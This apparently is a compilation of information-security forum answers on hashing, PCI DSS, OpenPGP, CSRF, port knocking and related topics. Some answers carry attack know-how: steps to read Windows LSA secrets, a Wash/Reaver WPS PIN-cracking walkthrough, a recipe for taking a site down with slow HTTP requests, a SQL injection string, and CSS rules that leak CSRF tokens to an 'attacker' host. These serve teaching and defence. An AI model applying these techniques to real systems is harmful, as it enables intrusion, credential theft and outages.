Update:
After consulting with Thomas Pornin, I'm chainging my answer to "there's no good way to do this". See the comments for this answer for details.
Also see: On the Strength of the Concatenated Hash
Combiner when All the Hash Functions are Weak.

Instead of hashing the output of the previous hash, you hash that output in addition to whatever you were hashing before:
So SHA256( MD5(message) ) gives you the worst of both worlds
in certain attacks.
But SHA256(message + MD5(message) ) gives you the best of both worlds, since  both hashes need to be broken independently.
Note for many usage cases, your message should include salt.


How to ensure that our production environment deployment process is PCI-compliant when we need to perform live code updates?

Is there real need of having CMS inside of the CHD (card-holder data) environment? We always recommend to keep the CHD as small as possible. Isn't it possible to design it in another way where your PCI DSS environment will just process/transfer/store the CHD and pass something as "tokens" outside (i.e. to CMS) instead of storing the CHD directly in CMS?

Its hard to recommend anything here as I have no clue where do you store the CHD, what is the purpose of it and many many other things...

As @ISMSDEV said, why developers should access such the production area? Developer develops the code while app admin deploys it and maintains. I can't see any reason why developers should have access to production...

By the way, if you design PCI DSS environment and you plan to certify it, I would recommend to hire some consultancy company / person with deep knowledge of it. It will help you so much and it is worthy as it is really not easy to get everything compliant. While I consider PCI DSS as a best security standard I have ever seen it is really hard to fulfill all its requirements. Sometimes, even if you think you are doing things right the auditor tells you it can't be like that. Simply because you just wrongly understood the requirement or you can't see all aspects of it. And if he tells you this once you have complete design of the environment finished, applications developed, documentation written and you keep evidence of everything its hard and expensive to rework it...

If you don't store, process or transfer the CHD you DON'T NEED TO BE PCI DSS compliant in any way. Of so, you are lost.


What information is leaked from an OpenPGP encrypted file?

The key ID of the recipient is included in plain-text in the encrypted file. Other possibly interesting information "hidden in plain sight" is just the size of the file, or the name of the encrypted file (if someone just sends it without alteration of course.)

What you might not realise is that the recipient Key ID is effectively an optional field. Section 5.1 goes on to say:

  An implementation MAY accept or use a Key ID of zero as a "wild card"
     or "speculative" Key ID.  In this case, the receiving implementation
     would try all available private keys, checking for a valid decrypted
     session key.  This format helps reduce traffic analysis of messages.

You can encrypt using the -R (or --hidden-recipient) flag with gpg to avoid revealing the recipient's public key in an encrypted message.

$ gpg -e -R torvalds@linux-foundation.org message.txt
$ $ gpg --verbose --verbose --decrypt message.txt.gpg
:pubkey enc packet: version 3, algo 1, keyid 0000000000000000
    data: [2047 bits]
gpg: public key is 00000000
gpg: anonymous recipient; trying secret key aaaaaaaa ...
gpg: anonymous recipient; trying secret key bbbbbbbb ...
gpg: anonymous recipient; trying secret key cccccccc ...

:encrypted data packet:
    length: 76
    mdc_method: 2
gpg: encrypted with RSA key, ID 00000000
gpg: decryption failed: secret key not available
$

As this point, gpg iterates through all the private keys it has trying to obtain a valid session key, as it cannot identify the public key used for encryption. However, also see this answer for ways to differentiate between recipients if the attacker has access to a large number of messages.

A practical aside -- secondary clues may be in various logs. For instance, an attacker who obtains such a message might also be able to access (say) a .bash_history file with the recipient's address, or a web-server log with IP addresses that provide clues to who POST'ed or GETs the file, etc.


Recover the password of a Windows service user login account

One method to access LSA secrets is documented here.

In a nutshell:

Call the Enable-TSDuplicateToken function.
Copy the existing registry keys to another, temporary key.
User Powershell or another framework to call the functions to read the secrets.

You can also use the NirSoft LSASecretsView tool.

You do indeed have to already have admin privileges on the system, and as far as I know there are no differences in recent versions of Windows (other than the mitigations that McMatty already pointed out).


While I have not deployed it yet, I know many people who have deployed it.  Every single one of them have noted a significant reduction in the amount of bandwidth consumed by things like SSH brute-force attacks as a result.

However, that is not to say that there are not downsides.  AFAIK, there are no kernel-based port knocking implementations available, which for me would be the real key to adoption.  Port knocking daemons rely on reading failed (and filtered/prohibited) log file entries from a firewall system.  That's all fine and dandy, but what happens if the filesystem gets full?  What happens when the daemon gets killed because of some runaway process eating up the system's RAM and swap?  What happens if something else which either of those two things depend on just up and stop working?  You most likely end up with a server that you will have to physically access.  That could wind up being more costly than is reasonable, especially if you are more than a few tens of miles away from the server and do not have anyone that you can call to get there in a hurry.

One thing that I can say is that it is not "security through obscurity".  Port knocking is a form of authentication, and like any authentication system it can be made to be as simple or complex as desired.  Something as simple as "knock on port 10,000 + realPortNumber" can be done, which would amount to a trivial break, or the port knocking might itself be used to transmit some form of real authentication (say, 1 block of AES encoded data given a key derived by some other method).  It would not be feasible to use port knocking to transmit large amounts of data, though, because it would take significantly longer than just sending a single packet, and if the packet is over TCP than at least it can be known if it was received successfully or encountered some form of error.

One interesting question that this brings up, however, is how to manage the log files---userland implementations mostly require the log files in order to determine whether or not a knock has been successfully sent, and what happens if those logs are leaked?  Authentication data becomes known, and that is obviously not a very good thing.

I cannot tell you whether or not to use port knocking in your setup.  I am not yet, and I am not 100% certain that I ever will be.  It makes more sense to me to use strong authentication systems that are based on strong cryptography (such as a PKI infrastructure) than it does to throw port knocking in the way.  Also, adding a single point of failure to access critical infrastructure, to me anyway, seems like a bad idea, and way more difficult to properly support with any sort of guarantee.  Again, though, that is based on the notion of the port-knocking software being not integrated with the firewall at the operating system kernel level; if that ever changes, I may also change how I feel about using it.


How can Freeradius detect if the password provided is right when only the salted hash is stored in the database without the salt

The hash and salt are both in the value column. After Base64 decoding, the first 32 bytes are the hash, and the rest is the salt (in your case, it's the ASCII string seldemer).


router/modems capable of capturing requests

Yup. "Transparent" proxies do that.
A proxy need not be "explicit". It can also be a "transparent" proxy if it is the gateway used by the client. And then do just the same things an explicit proxy can do. (If the explicit proxy couldn't break HTTPS, then neither can the transparent proxy. If the explicit proxy could break HTTPS, then also can the transparent proxy.)
If for example you use a Sophos firewall in your business the "transparent"/"explicit" proxy thing is a switch you can toggle. See: https://community.sophos.com/kb/en-us/115865


Spam and malware detection on mail files is done with a variety of techniques. To give you some idea of the techniques and heuristics involved here are some examples. Note that these examples are far from a complete list:

Information about the delivery path in the mail header, i.e. Received header. These might be used to extract the sender IP address and check against blacklists.  Also DKIM-Signature and Received-SPF headers, typical spam subjects or similar.
Type and structure of attachments, i.e. a ZIP file with a *.js file inside is typically malware. A HTML attachment with Javascript is often phishing. Office documented embedded in PDF is usually malware too etc.
The content of attachments checked by an Antivirus, i.e. check for macros in word documents or similar.
Links included in the mail which refer to phishing sites.
Comparison with previously classified mails, i.e. similarity to known spam, phishing or malware.
...

Note that most of these are just heuristics. This means that even if some features are very typical for spam or phishing they might sometimes happen in innocent mails too. Thus there is always a chance that a detection is actually a false positive, i.e. something innocent detected as bad. Similar there is always the chance that something bad is not detected and considered innocent (false negative).


How can email address account as the weakest security link be prevented?

Two factor authentication solves most issues.

Ideally we would be using more than two, but that is what the web is currently built around. Enforcing the use of not only a password, but that with something the user has (a smartphone/tablet), security for the respective account is increased. Not only does the attacker have to breach the account, but also the portable device.

Steam, a gaming platform, allows users to tie their account to a mobile token. This generates a one time series of characters and numbers that must be entered when logging in.

Google uses it's own system, the Google Authenticator, which is leveraged off a Time/HMAC based One-Time password system.

While most attacks on the internet are done from a very remote location compared to the user, a hardware token does not solve the problem that a local attacker could simply enter the code. This is where biometrics come into play, but aren't integrated into the public internet as of yet.

Web Links:

https://support.steampowered.com/kb_article.php?ref=8625-WRAH-9030

http://www.techrepublic.com/blog/google-in-the-enterprise/use-google-authenticator-to-securely-login-to-non-google-sites/


How to ensure that a login is really going over http?

What you have done is a pretty thorough test, but you can get ironclad proof this way: Install Wireshark on your own computer, turn on packet capture, and perform the login.  If HTTPS, the packets you capture will be marked as such, and will be encrypted.  If not, you will be able to see the login credentials en claire in the captured data.

Do note that encrypting client-side with JavaScript does not work.  It is vulnerable to replay attacks and MITM attacks because whatever client sends to server effectively is the password, no matter what has been done to it.


In short No.

Per @ Alexander O'Mara 's comment you need to find the access.

Wordpress plugins are notorious for adding vulnerabilities a good start would be to audit your plugins:

Get a list of what is there
Confirm all items are supposed to be there.
Find out why they are needed
Ensure the required ones are up-to-date
Check for known vulnerabilities in the latest versions of those
Reconsider the requirement or look for replacements if there is.

You will also need to check for other potential access (wordpress is a good candidate but not the only one) and backdoors they may have left (i.e. ways to regain access such as a new user or reverse shell)

If you have a backup it would be best to update that & rebuild from the basic server. I.e.  delete the current live version & start from the backup or a clean build.

There are services that will filter your outbound mail, we use "Symantec Email Security.cloudmessage" this can alert you if you start to send questionable mail and it seems to work for us I'm sure there are dozens of similar services

Depending on budget time etc you may consider getting someone to do this for you - beware there are lots of people who can use Wordpress but have no idea about security.


Storing the password to a vault in the vault itself?

Definitely
You're primary assumption here is that the only way in the vault is with the master password. This is not true. Some other ways:

You walk away from your computer with it unlocked and a coworker/housemate sits down
You open up the vault and someone sees your master password over your shoulder
Your computer is hacked or the session for your vault is stolen (if an online one)

The trouble is that most of these imply temporary access, while if someone finds your master password they can gain permanent access or even lock you out. Imagine a coworker who knows that your password is in your vault and "for fun" waits for you to leave your desk with your computer unlocked. If they know what they are doing it will take 30 seconds to change your master password and kick you out of your own account.
Is that a concern for you? I have no idea! Are these real risks though? Absolutely!


If he was a sysadmin, you can no longer rely on anything on that box, as he may have had the capability to change anything.

You should escalate this to your IT or incident response team - the damage may not be confined to them just deleting evidence, a sensible precaution may be to wipe and rebuild the box, depending on its sensitivity.

If you have backups or audit logs, the incident response team should request them to be preserved. You should list a timeline of everything that was done, including all emails with the individual etc.

The incident response team should also be able to get the correct individuals involved to look at the legal standpoint - it may or may not be worthwhile progressing with an investigation, but that is a business call, not an IT call.


Can a pop up ad install malware if we immediately close it?

A popup is not required in a drive-by-download malware infection. In fact the popup you see could just be created to distract you from the actual infection and thus closing it will not stop the  infection, even if done quickly. So yes, you should worry if you see a popup the same way as you should worry if you don't see a popup because the infection can be done in both cases.

  Note: I had just Microsoft Security Essentials running for protection at the time.

According to Microsoft the infection rate on systems with always on real-time protection is still about 3..5% so don't expect a full protection. Source: Microsoft Security Intelligence Report 19 Page 89 figure 66.


I assume you mean Message Authentication Code.

The major difference between a MAC and a hash function is that the MAC also takes a secret key as input. Therefore the MAC provides both integrity and authenticity for the message.

Example how it is used:

Both Alice and Bob know the secret key k. Alice wants to send an arbitrary long message m.

She generates a tag. tag <- S(k,m).
She sends message m together with the tag.

Bob verifies this.

V(k,m,tag) = Yes/No


Understanding salted password hashing using Java

PBKDF2 is a password hashing function(*); it uses a configurable number of iterations (to make it as slow as is appropriate) and a salt (to deter all kinds of parallelism in attacks). To verify a password, the hash is recomputed, and should yield the same value. To perform this recomputation, you need to use the same number of iterations and the same salt value; otherwise you will get a distinct output and will be none the wiser.

A new salt shall be generated for each new registered password (e.g. whenever a new user account is created, and also whenever a user changes his password), so it must be stored along with the hash value.

The iteration count should also be stored, because it may be modified at some point. In the code you link to, the count is a constant (static final), but its conceptual role is to counter the increase in performance of computers over time: you use the number of iterations to make each password hashing as slow as you can tolerate, because it will also make it slow for the attacker. When you buy a new, faster server, you may want to increase the iteration count (i.e. modifying the source code and recompiling the application, with a higher count). However, in that case, you do not want to invalidate existing, stored hashed passwords. Thus, you need to know, for each stored hash, how many iterations were used for that specific hash. This is why the iteration count is stored along with the salt and the hash value itself.

(*) Strictly speaking, a password-based key derivation function, but let's keep things simple.


First i would like to suggest that it seems like you forgot to post the link you were talking about, or i just missed it. Apart from that one basic approach, which definitely will work, assumed that you checked the requirements well, would base on exploiting the WPS (Wifi Protected Setup). To give you a short impression of how it works, you have to imagine that WPS offers a way to establish a connection by for example entering the WPS Pin (Aside this there are a bunch of other WPS Methods, like the WPS PBC [Push Button Configuration], WPS UFD [USB Flash Drive] and WPS NFC [Near Field Communication]). For educational purpose it suffices if we take a look at the WPS Pin-Method, take a look here for a documentation on how to connect to a router with WPS.
Wash
Wash is a utility that identifys WPS enabled Access-Points. It can survey from a live interface and will only show access points that support WPS. So as you can see a great tool for this purpose and some kind of derivate of airodump. For the official Wash-Documentation, take a look here.
Reaver
After you checked if the AP provides WPS based connectivity, you could exploit it using it using the Reaver tool, which all in all realizes a Brute-Force-Attack to crack the Pin and as the Pin in most cases does is not longer than about 4 Digits, there are only 10^4 = 10.000 different possibilities to try. Brute-Forcing this should take a couple hours, worst case. For the official Reaver-Documentation,take a look here.
So summarizing what we discussed till here:

Check if WPS is enabled for the target, using Wash-Tool.
Crack the WPS-Pin and use it to connect, because if you got the Pin, even the longest and most complicated WPA/WPA2 password is useless.


The result will rely mostly on how your backend (application code not DB) behaves.
If the application cast()  or rejects everything but longs  (or ints or whatever numeric types) there is simply no chance you can conduct a successful injection.
If your application doesn't sanitize user input your example could be SQL injectable:
sqlQuery='SELECT * FROM custTable WHERE UserNumber=' + 22 UNION SELECT ...;


Does iPhone home button act as Secure Attention Key?

My brief research on the Home button showed two trends: (a) the user bypassing it with Accessibility options; (b) using certain features to prevent children from hitting it. It appears that it's a SAK in practice whether or not it's designed for it. Note that this applies to apps that haven't compromised iOS security somehow. If they do that, they might inject code to subvert the Home button or anything else.

So, the trick should help against problematic apps that can't hack OS or drivers. The next question, which I leave to comments on mine, is whether apps can successfully DOS the phone to the point they render it and home button unusable. I don't use iPhones so I'm not sure of their crash-resistance properties.


Are there any known collisions of a "long" (64 bit) OpenPGP key ID?

OpenPGP IDs are portions of the SHA-1 fingerprint, as defined in the standard. A short key ID is the last 32 bits, and the long key ID is the last 64 bits. A collision typically takes an average of 2n/2 operations, where n is the size of the hash in bits. Generating collisions for short IDs and long IDs is trivial, requiring an average of 216 and 232 operations, respectively. A collision in this case is defined as creating two differing hash inputs which have identical digests. It is actually even possible to collide the full SHA-1 fingerprint, as Google has shown. Colliding a full OpenPGP fingerprint requires nothing more than colliding a single SHA-1 hash. This is difficult, but possible with sufficient computing power.

Creating a preimage is different. Unlike a collision, a preimage attack requires creating an input that matches a specific hash digest. The attacker does not get to provide both inputs, only one, making it a much more difficult attack. Unlike a collision attack, a preimage attack requires a full 2n operations for a hash of size n. Because of this, creating a preimage for a short ID requires only 232 operations, which is downright trivial. Doing the same for a long ID requires 264 operations, which is not easy, but far from impossible. Doing the same with the full 160-bit fingerprint is simply impossible with current technology.

In summary:

+-------------+-----------+------------+
|             | Collision |  Preimage  |
+-------------+-----------+------------+
| Short ID    |  Trivial  |    Easy    |
+-------------+-----------+------------+
| Long ID     |   Easy    |    Hard    |
+-------------+-----------+------------+
| Fingerprint |   Hard    | Impossible |
+-------------+-----------+------------+


Why hasn't anyone attempted to fix ARP (ARP Spoofing/Poisoning)?

My guess would be that "fixing" the protocol would cause more problems than it would solve.

Partly answers the question indeed.

IPv4

ARP was more a solution to a problem that occurred when we started using internal networks. One might even call it a hack to get things working internally, and the entire idea to communicate via hardware addresses without the need for an internet protocol let to the development of the ARP protocol. At the time, only few were concerned with security, let alone network security. Like many protocols and systems developed in the early '80 (STMP, FTP, ...), people were happy if it worked at all, not thinking this could lead to major security-related problems in the next decades. Since then we've tried to replace old systems and protocols, but is has proven hard, mostly due to compatibility and legacy issues. All of the OSI-7 layer protocols can make use of TLS tunnels to secure communication and guarantee confidentiality. Since ARP is so basic, and widely used replacing it wit a secure alternative will be very difficult.

IPv6

Since the '90 we know security must be taken into account when drafting new protocols. IPv6 is the living prove, and can be configured to work with IPSec to tunnel traffic in the network layer, and other nifty features. One of these features is NDP, which basically does the same thing as ARP, but different. NDP learned its lesson from the ARP ages, and does offer additional security via SEND (Secure Neighbor Discovery Protocol). SEND uses crypto based on addresses (this is quite awesome) to determine the authenticity of a claim. Sadly IPv6 still isn't de facto today, for the same reasons as ARP is still alive and kicking.


What should be the ideal course of action for a compromised GPU?

It depends on how exactly it was compromised.

Unlike your PC, the GPU has no dedicated area to keep the user-uploaded information persistent between reboots (but see below). Thus any possible infection shall not survive the power off, after which your GPU is a clean slate again. It is possible, of course, that the malware on your PC will reinfect the GPU again once it is booted up, but in this case the source of compromise is your OS, and you shall focus on disinfecting your OS.

However some GPUs have firmware which is flashable by user - comparing to, for example, factory-only flashable firmware. Thus it is possible that a malicious actor would patch a firmware for your GPU, and flash it. This would require significant effort, and at this moment you should be only concerned about it if you think of a reason a three-letter agency would be after you. If you're concerned about it, you can reflash your GPU using the original  firmware (although in this case your ability to obtain a copy of clean firmware would also be limited).

It is also possible that the malicious code is injected into GPU on factory, and then shipped to you. In this case you'd have no means to detect this.

Saying so, GPU attack vector has its limitations. While it can read and modify the arbitrary memory data undetected (including ignoring memory protection flags), it has no access to MMU and no way to know which physical memory regions are mapped to virtual regions. Thus making the attack happen (for example granting a certain process admin privileges) would be very difficult to perform. And the lack of internal persistent storage and other means to exfiltrate the data makes it way more difficult than traditional malware.


How fill up a gig interface bandwidth with hping3?

You don't need hping3 to fill your gigabit pipe: the standard ping utility in my Debian creates about 1.3GiB/s when using the flood and data size options. CPU seems to be spent on creating the packets and so at 100% CPU, the only thing you can do is create larger packets rather than more packets.

hping3 with the exact same arguments (flood and largest possible packet size) gets me 2.1GiB/s. The default protocol there is TCP; in ICMP mode, it goes even further at 3.3GiB/s. When not pinging localhost, the MTU will be an issue, but with the largest possible packets and fastest possible setting, that's all you're going to get out of hping3 (well, that and running it in parallel like you already do).

Note that the easiest way to bring a website down is almost never to fill up the pipe with raw data. Find an HTTP request that takes a few hundred milliseconds (search queries, login requests sometimes, that sort of thing) and flood that. Since you can re-use TCP/TLS connections, you only have to worry about the actual request, so let's say 250 bytes. On a slow home internet connection of, let's say, 10mbps upload, you can do that request 40 thousand times per second (10e6/250=40k). Given that each request takes a few hundred milliseconds, let's say 250 (¼s) to make things easy, the site would need ten thousand CPU cores to keep up with that (40k*¼=10k), assuming that CPU is the internal bottleneck. Or even more efficient: send 1000 requests in parallel (making sure that the thousandth request is sent before the first one is done processing), once, and at least for smaller sites odds are that the site does not recover on its own.

This is a bit outside the scope of this question's title, but in the body you mentioned that denial of service attack simulation is your real goal, so this is how I would go about that (it works for a significant portion of our clients: DDoS is out of scope but a search query that takes 2 seconds makes this child-play and so we mention it as a risk).


Can I make my online server more secure using Docker?

As p2k said, docker won't help your Wordpress' problem. But if you mean mitigating the risk of privilege escalation the answer should be yes, probably.

One of the main feature of containers (LXC, openVZ, Solaris Zones, etc) is  exactly this: privilege separation. Docker is just a generic framework over different containers (and qemu, or even chroot!). This way, your docker based system will never be more secure than the foundation you've chosen for it. If you're using LXC (with or without docker) you will get the security level of your LXC implementation (which is somewhat incomplete, you must use apparmor or SElinux in order to be safe).

With container technology you can stop the attacker at the gates. But your gate (wordpress) will be wasted. However it's much simpler to restore your website (container) than a whole compromised machine.

Nonetheless, if you run your webserver and db server under a well designed apparmor settings, and you keep basic security rules (no write access anywhere unless required, patch often, use WAF like mod_security, etc), you can reach decent security level anyway without the overhead of using containers.


Serverless applications bring with them a lot of benefits for application security, especially when it comes to securing the underlying platform, which is now the responsibility of the cloud provider. You don't have to worry about patching the underlying operating system, application server, and networking. However, serverless applications may still suffer from application layer weaknesses and vulnerabilities. I highly recommend reviewing the Serverless Security Top 10 guide, published by PureSec: https://www.puresec.io/sas-top-10-download

Proper disclosure - I am one of the authors of this whitepaper.


What is the boundary between Information Security and Quality Control regarding Integrity?

I agree it's not really infosec, you're of course not staffed to review code yourself, or do QC yourself.    However, your skills and position should be fine to address the issue at a management level.  I would focus on the controls and let the CIO know you're going down this road.  Keep the investigation details confidential.

How did the code pass peer review?  Can they demonstrate that peer review (or your similar processes) were documented, people were trained and the processes followed?  Are they regularly asking their neighbour to "+1 me!" without a culture of actually checking?  Did dev have a post-mortem of the failure?  Do they have suggestions or new processes to prevent this from happening again?

Did QC have an automated test?  Why or why not?  Did it pick up the bug?  Why was it not part of their test coverage.  Will be be added to their test coverage?  When?

Check that the audit logs match the story of the developers and QC.  If the stories don't match, ask more questions.

At the end of it all, you should have a report with recommendations and findings.  The CIO can call a review meeting.  I would privately ask the CIO if you want to put fear into the leadership for this "breach".  If you're not careful about your documentation and curbing your language around your findings, of course your peers will hate you forever, but that's a dark side of internal investiigations in infosec.

IMHO, QC leadership should be asking these questions, but given they haven't stood up to take the issue, the CIO might not have confidence in that leadership.

All of this information should be retained as it may  be useful as evidence of your dilligence in investigating a security issue in code.  Review it with the CIO, clean up the excessive detail, add your remediation activities and add it to your records.


Is it safe to use Dropbox in its present state?

It does not matter much how the data are encrypted as long as the owner of the data is not the only one in control of the encryption key. This in effect means that data encryption and decryption should only be done at the client and only in a safe environment where only trusted software is running. This is not the case with Dropbox: Dropbox has access to the plain data both from the Dropbox client running on your system and on the server side before encrypting for rest. Also Dropbox can decrypt the data whenever they want because they have access to the encryption key. And they will do it for sure and without you noticing when law enforcement requires it.

Whether you consider this safe enough for your own use is your own decision.


In /etc/apache2/sites-available/default, make sure you have AllowOverride All instead of AllowOverride None.  With None, .htaccess files are not parsed/evaluated.


What attacking vectors does "background-image" have

This attack is called CSS Injection and it can be quite a beast.

What is CSS Injection?

With HTML 5 becoming the shiny new thing for web developers, CSS has learned a few new tricks as well. You can do quite powerful things with CSS selectors, things that many web developers will look at and thing "What? CSS can do that!?".

As CSS became ever more powerful, various hackers started to take a look at it and found interesting ways of exploiting it.

For instance, if an attacker is able to inject arbitrary CSS code, they could run the following:

input[name=csrf_token][value=^a] {
  background-image: url(http://attacker/log?a);
}
input[name=csrf_token][value=^b] {
  background-image: url(http://attacker/log?b);
}

This exploit code takes advantage of several CSS features. It selects an <input> element with two attributes. The first is "name" and the second is "value". (e.g. <input name="csrf_token" value="a5c319fabb...">). Any such input field starting with a value of "a" would then cause the background-image of said input field being set to be loaded from http://attacker/log?a. The attacker could log this and thus get information about the CSRF token being sent.

This alone would not be enough to read the CSRF token, but with enough rules covering every possible CSRF token (or password), an attacker could reliably read out CSRF tokens of any user who is served this custom CSS.

Of course, an attacker would need more to actually exploit this vulnerability, but it's a start.

Why have I never heard of CSS Injection before?

A burglar does not care about your super high-end nigh-pickproof lock core if the door in the back is made out of glass and can be smashed with a big rock.

Similarly, would-be hackers on the internet looking to make a quick profit don't care about the most sophisticated exploits possible, but rather about something that will work quite reliably on many websites they try it on.

As such, CSS Injection is an exploitation technique that is somewhat obscure, as your average "y0u be3n h4xx3d"-actor will probably use XSS or SQL-Injection to get what they want.

How can I prevent CSS Injections?

Don't let anyone inject CSS.

The best way to prevent CSS Injections is to not let users ever inject anything into a CSS file that you serve. If you would like to allow users to customize their UI, give them selections (e.g. "color1", "color2", etc.) and turn them into concrete values on the server side (e.g. "color1" would match with "#490088").

Use Input-Validation to ensure sane input.

If you absolutely must let users inject their CSS - which I heavily recommend against - then you have to validate the input. This means if you have to let a user use their own color for an element, validate it against the following RegEx:

/^#?[0-9a-fA-F]{6}$/

Any input that deviates from being a six-digit hexadecimal input with optional # prepended will be rejected.

What about including malicious code like .js or .svg files as background image?

Yes and no. Linked JavaScript resources will be interpreted as image, not as script and therefore will not run. SVG files should be safe too, as the W3C defines that scripts within SVG files "must not be executed". The question if browsers adhere to this standard or not is another one and out of scope.

As mentioned above, I would always beware of allowing users to do anything "custom".


Is another MAC address generated when a wireless is created using the same device for LAN?

Each network interface has its own unique MAC address, assigned by the vendor of the equipment. So if you have a wired and a wireless interface you will see two addresses. If multiple interfaces are integrated into one piece of equipment (e.g. a router with multiple ports and/or WiFi), it's likely that the vendor will asign two consecutive MAC addresses.

So to really answer your question: the MAC address is assigned to the interface by the vendor in the production process, it's not generated the moment you connect to a network.


Clearing IE temp files don't erase CRL history. How can this be purged?

The information is stored here in Windows 2008 and R2 (Vista and Win7)

Per User
C:\Users\username\AppData\LocalLow\ Microsoft\CryptnetUrlCache

Per Computer
C:\Windows\System32\config\ systemprofile\AppData\LocalLow\ Microsoft\CryptnetUrlCache

To delete the cached entries run the following command:

certutil -urlcache * delete


Should organisations allow their employees connect with a VPN software from their own laptops to their machine at work?

From wikipedia:

  A virtual private network (VPN) extends a private network across a public network, and enables users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network.

The situation you describe is no different from me taking my gaming PC (which is undoubtedly full of viruses), bringing it to the office, and plugging it into an ethernet cable. Happy happy viruses now spreading through the corporate network :)

That's why companies prefer to issue corporate laptops over which they can enforce virus scans, etc, and only allow those to connect to the corporate network (whether wired, wireless, or vpn).

(it is possible to do personal-computer-vpn securely, but it's a fair bit more complicated -- you vpn in to a landing subnet from which you can access DMZ'd VDI / RDP hosts, from which you can access your work machine, or something like that. But even there, your personal computer may have keyloggers collecting your corporate passwords and other things you type.)


Provide CSRF token to the front-end, if not present in the request headers

There are multiple ways to address a CSRF vulnerability. The implementation that you are looking at, uses a stateless method of managing the CSRF token. This is called the double submitted cookie method. This saves you some effort if you do not wish to track the CSRF token on the server side.

From the OWASP link you shared in the question:

  A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match.

The security risk arises when your CSRF token resides only in the cookie and nowhere else. This would not be sufficient for CSRF prevention as it would be the same thing as having another session cookie.

In the double submitted cookie implementation you just have to ensure that the token values received from the cookie and from the form parameter are the same. In case of a CSRF attack the forged request would contain the token in the cookie but the token value from the from parameter/custom header will be absent. Hence leading to detection and prevention of CSRF.

To answer your other question about returning a CSRF token if the request is authenticated but does not contain a token already. This entirely depends on the kind of user experience you want your users to have. In some cases it may be okay to redirect the user to a login page.

Let us say you do return the token in the cookie and there is a CSRF attempt. In such a case Same Origin Policy would prevent any malicious domain to gain access to the cookie value directly and hence the subsequent forged request would fail for the same reasons given above.

For additional security considerations in case of a double submitted cookie implementation:

Double Submit Cookies vulnerabilities


Is it bad practice to ask only for individual characters of a password?

You are basically right; this is poor practice, for several reasons:

As you note, it requires server-side storage of the password as plaintext or in some reversible format.
Typing a password repeatedly works on "muscle memory", which allows the user to "remember" his password as a sequence of gestures on the keyboard; asking for specific letters exercises distinct parts of the brain and is likely to induce dangerous behaviours, i.e. writing down the password.
If the site asks for only three characters, then an attacker has a fair chance of gaining access by simply responding with three random letters. Online dictionary attacks can work, too. (Of course, bank Web sites often couple that with a trigger-happy lockout system, but a smart attacker will switch to another target account before reaching the autolock limit.)

The three main reasons why bank sites do that are:

If they ask for only three letters, not always the same, then a key logger or shoulder surfer won't be able to immediately his illegitimately acquired knowledge. It can be thought of as some sort of damage containment, where the password is only partially divulged.
Asking for only some letters is an Hollywood-sanctioned security measure. It makes for a great show. Customers, being unaware of what information security really entails, will see that and think "wow, that's secure !".
Many people in the industry are no less impressionable than average customers. Quite a few "security architects" will see such a system and also think "wow, that's secure !".


Is there anything malicious InstallIQ does that I have missed?

From what I can gather, InstallIQ in and of itself does not actually install anything malicious - however, it does provide mechanisms for third parties to bundle additional "offers" with products at install-time, which is a very attractive proposition for malware/spyware authors.

  Will there come a point that this becomes so ubiquitous that ESET stops flagging it as Adware?

I understand your concern, but I'm going to say no. There are many competing installer packages available in the market and many are considered more reputable. For example, MSI is Microsoft's preferred solution and integrates best with the likes of WSUS. Aside from MSI, other popular windows installers include NSIS (which I believe Mozilla use) or InstallShield. So InstallIQ has an uphill battle to become ubiquitous.

Secondly, there's a reputation issue. Personally, I would not distribute my software with any kind of add-on bundling solution, especially one which has links with malware distribution, however tenuous, if an alternative existed. Distributing nagware or malware to your customers will do nothing for your goodwill and continuing business. In this sense, such a solution is actually a security threat to you business model.

Finally, antivirus and antispyware producers are not going to ignore malware distribution in installers - even innocent installers could potentially be corrupted or be tampered with. Not catching viruses, nagware and spyware is not a good business model to use as an antivirus company.

So in conclusion, I think there are enough good reasons and sufficient pressure that such solutions are unlikely to become either ubiquitous or ignored, although they will continue to be used on a small scale both legitimately and to distribute malware.


I can't get gpg-zip to work. What am I doing wrong?

The man page is kind of misleading. There should only be a single parameter following the --gpg-args, i.e. you need to quote it properly:

  gpg-zip --encrypt --output test1 --gpg-args '-r myemail@emymail.com' PDFfolder

Apart from that you can just use the -r or --recipient option of gpg-zip directly (this is documented), there is no need to use it with --gpg-args.


Theoretically, the professor should have disconnected the computer from the projector during the class. Any number of things can go wrong when typing a password that should be encoded in front of a class of students.

It would give the impression that the username needed to be kept secret and would make users think that the username was highly protected by the application to a similar degree as the password. If your application is such high security that you would already be storing the username in a hashed or otherwise further secured manner, the login page could mask the username as well, but there may be usability problems:

If the username were to be masked, there would be no autocomplete for that field, probably making people annoyed at the extra time required to access their account.
Users may want to try out different usernames to see which one works. If they can't see it and can't see the password, they will have a more difficult time figuring out if they typed the username wrong, the password wrong, or if the username (or email) was not the one used to register in the first place. Users could simply use a text editor beforehand to make sure, but that kind of defeats the purpose.
The chance of typos is greater. Because users can't see the username, their chance of making a typo is greater since they may have made a mistake in either the username or the password field.
Users do not get warned when caps lock is on (unless the application tries to do this). Normally, they may type their username and realize that caps lock is on. Then, they turn it off and restart. Without seeing either field, they would not notice this.


I'm concerned especially about first request from this host - what may this be, some function coded in hex or dec?

What you see in \x16\x03\x01\x01... is just the start of a TLS 1.0 handshake, i.e. content type (0x16 = handshake) followed by TLS version (0x0301 = TLS 1.0). Looks like somebody tried to speak HTTPS on port 80 instead of 443.


Is phpseclib a secure and reliable alternative to OpenSSL?

Implementing cryptographic algorithms securely is hard. I should know. Cryptographic algorithms concentrate secrets into keys, which thus are very valuable, and a lot of implementation-related leaks (e.g. small variations of execution time) can become disastrous when applied to cryptography.

There are ways to avoid such leaks, but they require care, a lot of trial-and-error, and, above all else, extensive knowledge of the low-level behaviour of the execution engine. As a rule, the farther you are from the hardware, the harder it gets to secure the code against side-channel attacks. PHP is much further from the metal than C code.

Now I don't say that it is not possible; for instance, a timing-attack resistant implementation of a cryptographic algorithm is quite possible in Java or .NET. So it should be doable in PHP as well. But, as usual, it will require a lot of external scrutiny to ascertain.

Remember that new is bad in cryptography; security is gained through prolonged exposure. For all its shortcomings, OpenSSL has had a lot of exposure over the years. phpseclib is newer, and uses a "somewhat hostile" framework when it comes to side-channel leaks, so it is much too early to declare it fit for production.

